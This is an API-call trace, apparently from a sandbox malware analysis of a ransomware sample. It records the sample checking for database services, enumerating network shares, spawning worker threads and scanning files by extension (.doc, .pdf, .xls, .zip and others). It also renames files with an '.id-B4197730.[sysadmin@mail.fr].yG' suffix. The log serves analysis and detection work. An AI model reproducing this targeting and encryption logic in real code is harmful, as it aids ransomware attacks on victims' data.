	[0184.464] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0184.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0184.464] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0184.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0184.467] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0184.467] lstrlenW (lpString="CryptSvc") returned 8
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0184.467] lstrlenW (lpString="DcomLaunch") returned 10
	[0184.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0184.468] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0184.468] lstrlenW (lpString="Dhcp") returned 4
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0184.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0184.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0184.468] lstrlenW (lpString="Dnscache") returned 8
	[0184.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0184.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1

Thread:
	id = 89
	os_tid = 0xfcc

	[0178.233] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) returned 0x80
	[0178.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3e68 | out: hHeap=0x6a0000) returned 1

Thread:
	id = 90
	os_tid = 0xfd0

	[0178.234] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x707968
	[0178.234] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x707968, Size=0x20) returned 0x6dd9b8
	[0178.234] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dd9b8, Size=0x40) returned 0x6b7700
	[0178.234] GetLogicalDrives () returned 0x4
	[0178.234] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x709c38
	[0178.234] GetComputerNameW (in: lpBuffer=0x709c3c, nSize=0x27dff64 | out: lpBuffer="NQDPDE", nSize=0x27dff64) returned 1
	[0178.234] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1000) returned 0x719c40
	[0178.234] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x27dff34 | out: lphEnum=0x27dff34*=0x6b66b0) returned 0x0
	[0178.236] WNetEnumResourceW (in: hEnum=0x6b66b0, lpcCount=0x27dff30, lpBuffer=0x719c40, lpBufferSize=0x27dff38 | out: lpcCount=0x27dff30, lpBuffer=0x719c40, lpBufferSize=0x27dff38) returned 0x103
	[0178.237] WNetCloseEnum (hEnum=0x6b66b0) returned 0x0
	[0178.237] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x27dff34 | out: lphEnum=0x27dff34*=0x6baac0) returned 0x0
	[0178.256] WNetEnumResourceW (in: hEnum=0x6baac0, lpcCount=0x27dff30, lpBuffer=0x719c40, lpBufferSize=0x27dff38 | out: lpcCount=0x27dff30, lpBuffer=0x719c40, lpBufferSize=0x27dff38) returned 0x0
	[0178.256] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1000) returned 0x71aff8
	[0178.256] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x719c40, lphEnum=0x27dff08 | out: lphEnum=0x27dff08*=0x6b65f0) returned 0x0
	[0178.259] WNetEnumResourceW (in: hEnum=0x6b65f0, lpcCount=0x27dff04, lpBuffer=0x71aff8, lpBufferSize=0x27dff0c | out: lpcCount=0x27dff04, lpBuffer=0x71aff8, lpBufferSize=0x27dff0c) returned 0x103
	[0178.259] WNetCloseEnum (hEnum=0x6b65f0) returned 0x0
	[0178.259] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1000) returned 0x71c908
	[0178.259] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x719c60, lphEnum=0x27dff08) 

Thread:
	id = 93
	os_tid = 0xfe4

	[0178.403] GetTickCount () returned 0x19bed
	[0178.403] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6b6dd0
	[0178.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6b6dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274
	[0178.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6b6dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4
	[0178.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6b6dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0178.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6b6dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0178.406] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa260
	[0178.406] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa260, Size=0x20) returned 0x6de070
	[0178.406] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa4b8
	[0178.406] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa4b8, Size=0x20) returned 0x6de020
	[0178.406] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.407] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.407] Wow64DisableWow64FsRedirection (in: OldValue=0x2cdff7c | out: OldValue=0x2cdff7c*=0x0) returned 1
	[0178.407] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.407] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.407] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.407] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6e6560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0178.407] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0178.698] GetTickCount () returned 0x19d16
	[0178.698] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0178.973] GetTickCount () returned 0x19e2f
	[0178.973] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0179.237] GetTickCount () returned 0x19f38
	[0179.237] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0179.650] GetTickCount () returned 0x1a0cf
	[0179.650] GetTickCount () returned 0x1a0cf
	[0179.650] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0180.182] GetTickCount () returned 0x1a2e2
	[0180.182] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0180.466] GetTickCount () returned 0x1a3fb
	[0180.466] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0181.508] GetTickCount () returned 0x1a812
	[0181.508] GetTickCount () returned 0x1a812
	[0181.508] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0181.926] GetTickCount () returned 0x1a9b8
	[0181.927] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0182.383] GetTickCount () returned 0x1ab7d
	[0182.383] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0183.159] GetTickCount () returned 0x1ae8a
	[0183.159] GetTickCount () returned 0x1ae8a
	[0183.159] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0183.641] GetTickCount () returned 0x1b05f
	[0183.641] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0184.083] GetTickCount () returned 0x1b224
	[0184.083] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102
	[0184.664] GetTickCount () returned 0x1b466
	[0184.664] GetTickCount () returned 0x1b466
	[0184.664] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) 

Thread:
	id = 94
	os_tid = 0xfe8

	[0178.408] GetTickCount () returned 0x19bfc
	[0178.408] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6fea98
	[0178.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6fea98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0178.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6fea98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0178.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6fea98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0178.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6fea98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0178.410] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa2d8
	[0178.410] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa2d8, Size=0x20) returned 0x6de020
	[0178.410] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa4b8
	[0178.411] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa4b8, Size=0x20) returned 0x6de070
	[0178.411] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.411] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.411] Wow64DisableWow64FsRedirection (in: OldValue=0x2ddff7c | out: OldValue=0x2ddff7c*=0x0) returned 1
	[0178.411] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.411] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.411] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.411] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x721998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0178.412] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0178.699] GetTickCount () returned 0x19d16
	[0178.699] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0178.973] GetTickCount () returned 0x19e2f
	[0178.973] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0179.237] GetTickCount () returned 0x19f38
	[0179.238] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0179.650] GetTickCount () returned 0x1a0cf
	[0179.650] GetTickCount () returned 0x1a0cf
	[0179.650] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0180.182] GetTickCount () returned 0x1a2e2
	[0180.182] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0180.466] GetTickCount () returned 0x1a3fb
	[0180.466] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0181.508] GetTickCount () returned 0x1a812
	[0181.508] GetTickCount () returned 0x1a812
	[0181.508] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0181.927] GetTickCount () returned 0x1a9b8
	[0181.927] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0182.383] GetTickCount () returned 0x1ab7d
	[0182.383] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0183.160] GetTickCount () returned 0x1ae8a
	[0183.160] GetTickCount () returned 0x1ae8a
	[0183.160] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0183.641] GetTickCount () returned 0x1b05f
	[0183.641] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0184.083] GetTickCount () returned 0x1b224
	[0184.083] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102
	[0184.664] GetTickCount () returned 0x1b466
	[0184.664] GetTickCount () returned 0x1b466
	[0184.664] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) 

Thread:
	id = 97
	os_tid = 0xff8

	[0178.531] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7319b8
	[0178.532] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7419c0
	[0178.532] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa4b8
	[0178.532] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x720108
	[0178.532] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa2d8
	[0178.532] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x38e0020
	[0178.535] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa320
	[0178.535] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa320, Size=0x20) returned 0x6de020
	[0178.536] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa1d0
	[0178.536] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa1d0, Size=0x20) returned 0x6de070
	[0178.536] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.536] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.536] Wow64DisableWow64FsRedirection (in: OldValue=0x26dff50 | out: OldValue=0x26dff50*=0x0) returned 1
	[0178.536] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.536] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.536] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.536] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.536] Sleep (dwMilliseconds=0x64) 
	[0178.784] lstrcmpiW (lpString1=".ini", lpString2=".yG") returned -1
	[0178.784] lstrlenW (lpString="desktop.ini") returned 11
	[0178.784] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0178.784] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=129) returned 1
	[0178.784] CloseHandle (hObject=0x338) returned 1
	[0178.785] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0178.785] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[sysadmin@mail.fr].yg")) returned 0x26
	[0178.785] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.785] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.785] lstrlenW (lpString=".doc") returned 4
	[0178.785] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0178.785] lstrlenW (lpString=".docx") returned 5
	[0178.785] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0178.785] lstrlenW (lpString=".pdf") returned 4
	[0178.785] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0178.785] lstrlenW (lpString=".xls") returned 4
	[0178.785] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0178.785] lstrlenW (lpString=".xlsx") returned 5
	[0178.785] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0178.785] lstrlenW (lpString=".ppt") returned 4
	[0178.785] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0178.785] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.785] lstrlenW (lpString=".zip") returned 4
	[0178.785] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0178.785] lstrlenW (lpString=".rar") returned 4
	[0178.786] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0178.786] lstrlenW (lpString=".bz2") returned 4
	[0178.786] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0178.786] lstrlenW (lpString=".7z") returned 3
	[0178.786] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0178.786] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.786] lstrlenW (lpString=".dbf") returned 4
	[0178.786] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0178.786] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.786] lstrlenW (lpString=".1cd") returned 4
	[0178.786] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0178.786] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.786] lstrlenW (lpString=".jpg") returned 4
	[0178.786] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0178.786] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.786] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.786] lstrlenW (lpString=".doc") returned 4
	[0178.786] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0178.786] lstrlenW (lpString=".docx") returned 5
	[0178.786] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0178.786] lstrlenW (lpString=".pdf") returned 4
	[0178.786] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0178.786] lstrlenW (lpString=".xls") returned 4
	[0178.786] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0178.786] lstrlenW (lpString=".xlsx") returned 5
	[0178.786] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0178.786] lstrlenW (lpString=".ppt") returned 4
	[0178.786] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0178.787] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.787] lstrlenW (lpString=".zip") returned 4
	[0178.787] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0178.787] lstrlenW (lpString=".rar") returned 4
	[0178.787] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0178.787] lstrlenW (lpString=".bz2") returned 4
	[0178.787] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0178.787] lstrlenW (lpString=".7z") returned 3
	[0178.787] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0178.787] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.787] lstrlenW (lpString=".dbf") returned 4
	[0178.787] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0178.787] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.787] lstrlenW (lpString=".1cd") returned 4
	[0178.787] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0178.787] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0178.787] lstrlenW (lpString=".jpg") returned 4
	[0178.787] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0178.787] Sleep (dwMilliseconds=0x64) 
	[0179.050] Sleep (dwMilliseconds=0x64) 
	[0179.365] Sleep (dwMilliseconds=0x64) 
	[0179.722] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0179.722] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0179.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0179.722] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=111320) returned 1
	[0179.722] CloseHandle (hObject=0x354) returned 1
	[0179.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0179.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.723] lstrlenW (lpString=".doc") returned 4
	[0179.723] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.723] lstrlenW (lpString=".docx") returned 5
	[0179.723] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0179.723] lstrlenW (lpString=".pdf") returned 4
	[0179.723] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.723] lstrlenW (lpString=".xls") returned 4
	[0179.723] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.723] lstrlenW (lpString=".xlsx") returned 5
	[0179.723] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0179.723] lstrlenW (lpString=".ppt") returned 4
	[0179.723] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.723] lstrlenW (lpString=".zip") returned 4
	[0179.723] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.723] lstrlenW (lpString=".rar") returned 4
	[0179.723] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.723] lstrlenW (lpString=".bz2") returned 4
	[0179.723] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.724] lstrlenW (lpString=".7z") returned 3
	[0179.724] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.724] lstrlenW (lpString=".dbf") returned 4
	[0179.724] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.724] lstrlenW (lpString=".1cd") returned 4
	[0179.724] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.724] lstrlenW (lpString=".jpg") returned 4
	[0179.724] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0179.724] lstrlenW (lpString=".doc") returned 4
	[0179.724] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.724] lstrlenW (lpString=".docx") returned 5
